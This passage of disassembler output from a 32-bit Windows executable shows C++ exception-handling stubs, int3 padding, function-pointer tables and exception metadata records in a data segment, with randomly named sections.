		jmp	sub_401EC9
; ---------------------------------------------------------------------------


loc_434EC8:				; DATA XREF: _8C6BDE73:0043A5FCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_4011F9

; =============== S U B	R O U T	I N E =======================================



SEH_426BB0	proc near		; DATA XREF: sub_426BB0+2o
		mov	eax, offset dword_43A5D0
		jmp	sub_430316
SEH_426BB0	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401EC9
; ---------------------------------------------------------------------------


loc_434F18:				; DATA XREF: _8C6BDE73:0043A64Co
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_4011F9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_4011F9

; =============== S U B	R O U T	I N E =======================================



SEH_426C50	proc near		; DATA XREF: sub_426C50+2o
		mov	eax, offset dword_43A620
		jmp	sub_430316
SEH_426C50	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40146A

; =============== S U B	R O U T	I N E =======================================



SEH_426D40	proc near		; DATA XREF: sub_426D40+2o
		mov	eax, offset dword_43A670
		jmp	sub_430316
SEH_426D40	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_4011F9

; =============== S U B	R O U T	I N E =======================================



SEH_426E00	proc near		; DATA XREF: sub_426E00+2o
		mov	eax, offset dword_43A6A0
		jmp	sub_430316
SEH_426E00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40146A
; ---------------------------------------------------------------------------


loc_434FA8:				; DATA XREF: _294ADE7B:00427252o
		mov	eax, offset dword_43A6D0
		jmp	sub_430316
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_4011F9

; =============== S U B	R O U T	I N E =======================================



SEH_427310	proc near		; DATA XREF: sub_427310+2o
		mov	eax, offset dword_43A700
		jmp	sub_430316
SEH_427310	endp

; ---------------------------------------------------------------------------
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
		align 1000h
_294ADE7B	ends

; Section 2. (virtual address 00037000)
; Virtual size			: 00004000 (  16384.)
; Section size in file		: 00004000 (  16384.)
; Offset to raw	data for section: 00037000
; Flags	C00000E0: Text Data Bss	Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Uninitialized
; Segment permissions: Read/Write
_8C6BDE73	segment	para public 'BSS' use32
		assume cs:_8C6BDE73
		;org 437000h
		assume es:nothing, ss:nothing, ds:_294ADE7B, fs:nothing, gs:nothing
off_437000	dd offset sub_40170D	; DATA XREF: sub_403360+3FEo
off_437004	dd offset sub_430320	; DATA XREF: sub_403890+2o
off_437008	dd offset off_401EA6	; DATA XREF: sub_406850+2o sub_4068B0o
off_43700C	dd offset sub_40205E	; DATA XREF: sub_406CE0+45o
off_437010	dd offset loc_401FE1	; DATA XREF: sub_409640+4o
					; sub_4096A0+Bo ...
off_437014	dd offset loc_401EC4	; DATA XREF: sub_40A920+2o
					; sub_40A970+1Co
		dd offset sub_430320
		align 10h
off_437020	dd offset loc_4019EC	; DATA XREF: sub_40AC10+68o
					; sub_40ACD0+1Eo
flt_437024	dd 1.0			; DATA XREF: _294ADE7B:0040B326r
off_437028	dd offset sub_401956	; DATA XREF: sub_40E390+157o
					; sub_4114E0+1Do
		dd offset sub_401FA0
		dd 0
off_437034	dd offset sub_4019D8	; DATA XREF: sub_40E390+142o
					; sub_4114E0+23o
off_437038	dd offset loc_40113B	; DATA XREF: sub_4116F0+36o
					; sub_4117A0+1Do
		dd offset loc_401E88
		dd 0
off_437044	dd offset sub_401465	; DATA XREF: sub_411EB0+6Do
					; sub_411FB0+1Fo
		dd offset sub_401BD6
		align 10h
off_437050	dd offset loc_40144C	; DATA XREF: sub_4164D0+68o
off_437054	dd offset sub_40105F	; DATA XREF: sub_416570+8Bo
off_437058	dd offset sub_40133E	; DATA XREF: sub_416640+84o
off_43705C	dd offset sub_4018E8	; DATA XREF: sub_416710+8o
					; sub_417100+6o
		dd offset sub_401F32
		align 8
off_437068	dd offset loc_401A78	; DATA XREF: sub_416740+7Bo
off_43706C	dd offset sub_401E6A	; DATA XREF: sub_416800+8o
off_437070	dd offset loc_40100A	; DATA XREF: sub_416830+10o
off_437074	dd offset sub_4010A0	; DATA XREF: sub_416860+4Bo
off_437078	dd offset sub_401596	; DATA XREF: sub_4168E0+6Bo
off_43707C	dd offset loc_401843	; DATA XREF: sub_417160o sub_41E1A0+8o
		dd offset sub_401BBD
		align 8
off_437088	dd offset sub_401104	; DATA XREF: sub_4171B0o
					; sub_417770+36o
		align 10h
dbl_437090	dq -3.0517578125e-5	; DATA XREF: sub_417F90+22r
		dd 0
off_43709C	dd offset sub_401A14	; DATA XREF: sub_4186E0+Bo
					; sub_4187E0+6o
off_4370A0	dd offset sub_401D39	; DATA XREF: sub_419680+Do sub_4196E0o
off_4370A4	dd offset sub_4013A7	; DATA XREF: _294ADE7B:00419A42o
					; _294ADE7B:00419B2Do
		dd offset sub_4015F0
		align 10h
off_4370B0	dd offset loc_40190B	; DATA XREF: sub_41BD40+77o
					; sub_41FE70+1Do
		dd offset sub_401B63
		dd 0
off_4370BC	dd offset sub_4011D6	; DATA XREF: sub_4267F0+32o
		dd offset sub_401983
		dd offset sub_40195B
		dd 0
off_4370CC	dd offset loc_401640	; DATA XREF: sub_426BB0+6Ao
					; sub_426C50+1Do
		dd offset sub_401983
		dd offset sub_430320
		dd 0
off_4370DC	dd offset loc_4019CE	; DATA XREF: sub_426D40+32o
		dd offset sub_401983
		dd offset sub_40131B
		dd 0
off_4370EC	dd offset sub_401762	; DATA XREF: _294ADE7B:00427282o
		dd offset sub_401983
		dd offset sub_401D5C
		dd 0
		dd offset dword_437268
off_437100	dd offset loc_430361	; DATA XREF: _294ADE7B:00430358o
					; _5AD6BD6B:off_43B900o ...
		align 8
		dd 0FFFFFFFFh, 4306F6h,	43070Ah, 49h dup(0)
off_437238	dd offset off_43FB90	; DATA XREF: _8C6BDE73:00437250o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_437238
		dd 0
		db    0			; DATA XREF: _8C6BDE73:00437278o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 437250h
dword_437268	dd 3 dup(0)		; DATA XREF: _8C6BDE73:004370FCo
		dd offset off_43FB90
		dd offset unk_437258
		dd 45h dup(0)
dword_437390	dd 19930520h, 5, 4373B0h, 5 dup(0) ; DATA XREF:	_294ADE7B:004316E6o
		dd 0FFFFFFFFh, 4316CCh,	0
		dd offset loc_4316A0
		dd 1, 4316ABh, 2, 4316B6h, 3, 4316C1h, 2 dup(0)
dword_4373E0	dd 19930520h, 3Dh, 437400h, 5 dup(0) ; DATA XREF: _294ADE7B:00431A60o
		dd 0FFFFFFFFh, 431710h,	0
		dd offset loc_43171B
		dd 1, 431726h, 2, 431734h, 3, 431742h, 4, 431750h, 5, 43175Eh
		dd 6, 43176Ch, 7, 43177Ah, 8, 431788h, 9, 431796h, 0Ah
		dd 4317A4h, 0Bh, 4317B2h, 0Ch, 4317C0h,	0Dh, 4317CEh, 0Eh
		dd 4317DCh, 0Fh, 4317EAh, 10h, 4317F8h,	11h, 431806h, 12h
		dd 431814h, 13h, 431822h, 14h, 431830h,	15h, 43183Eh, 16h
		dd 43184Ch, 17h, 43185Ah, 18h, 431868h,	19h, 431876h, 1Ah
		dd 431884h, 1Bh, 431892h, 1Ch, 4318A0h,	1Dh, 4318AEh, 1Eh
		dd 4318BCh, 1Fh, 4318CAh, 20h, 4318D8h,	21h, 4318E6h, 22h
		dd 4318F4h, 23h, 431902h, 24h, 431910h,	25h, 43191Eh, 26h
		dd 43192Ch, 27h, 43193Ah, 28h, 431948h,	29h, 431956h, 2Ah
		dd 431964h, 2Bh, 431972h, 2Ch, 431980h,	2Dh, 43198Eh, 2Eh
		dd 43199Ch, 2Fh, 4319AAh, 30h, 4319B8h,	31h, 4319C6h, 32h
		dd 4319D4h, 33h, 4319E2h, 34h, 4319F0h,	35h, 4319FEh, 36h
		dd 431A0Ch, 37h, 431A1Ah, 38h, 431A28h,	39h, 431A36h, 3Ah
		dd 431A44h, 3Bh, 431A52h, 0Eh dup(0)
dword_437620	dd 19930520h, 2, 437640h, 5 dup(0) ; DATA XREF:	_294ADE7B:00431B53o
		dd 0FFFFFFFFh, 431B40h,	0
		dd offset loc_431B48
		dd 2 dup(0)
dword_437658	dd 19930520h, 2, 437678h, 5 dup(0) ; DATA XREF:	_294ADE7B:00431B83o
		dd 0FFFFFFFFh, 431B70h,	0
		dd offset loc_431B78
		align 10h
dword_437690	dd 19930520h, 1, 4376B0h, 5 dup(0) ; DATA XREF:	_294ADE7B:00431BA8o
		dd 0FFFFFFFFh, 431BA0h,	2 dup(0)
dword_4376C0	dd 19930520h, 7, 4376E0h, 5 dup(0) ; DATA XREF:	_294ADE7B:00431C19o
		dd 0FFFFFFFFh, 431BC0h,	0
		dd offset loc_431BC8
		dd 1, 431BD3h, 2, 431BE1h, 3, 431BEFh, 4, 431BFDh, 5, 431C0Bh
		dd 2 dup(0)
dword_437720	dd 19930520h, 7, 437740h, 5 dup(0) ; DATA XREF:	_294ADE7B:00431C99o
		dd 0FFFFFFFFh, 431C40h,	0
		dd offset loc_431C48
		dd 1, 431C53h, 2, 431C61h, 3, 431C6Fh, 4, 431C7Dh, 5, 431C8Bh
		dd 2 dup(0)
dword_437780	dd 19930520h, 11h, 4377A0h, 5 dup(0) ; DATA XREF: _294ADE7B:00431D48o
		dd 0FFFFFFFFh, 431CC0h,	0FFFFFFFFh, 431CC8h, 0FFFFFFFFh
		dd 431CD0h, 0FFFFFFFFh,	431CD8h, 0FFFFFFFFh, 431CE0h, 0FFFFFFFFh
		dd 431CE8h, 0FFFFFFFFh,	431CF0h, 0FFFFFFFFh, 431CF8h, 0FFFFFFFFh
		dd 431D00h, 0FFFFFFFFh,	431D08h, 0FFFFFFFFh, 431D10h, 0FFFFFFFFh
		dd 431D18h, 0FFFFFFFFh,	431D20h, 0FFFFFFFFh, 431D28h, 0FFFFFFFFh
		dd 431D30h, 0Eh, 431D38h, 0Eh, 431D40h,	4 dup(0)
dword_437838	dd 19930520h, 0Bh, 437858h, 5 dup(0) ; DATA XREF: _294ADE7B:00431DDBo
		dd 0FFFFFFFFh, 431D80h,	0
		dd offset loc_431D88
		dd 0FFFFFFFFh, 431D90h,	2, 431D98h, 0FFFFFFFFh,	431DA0h
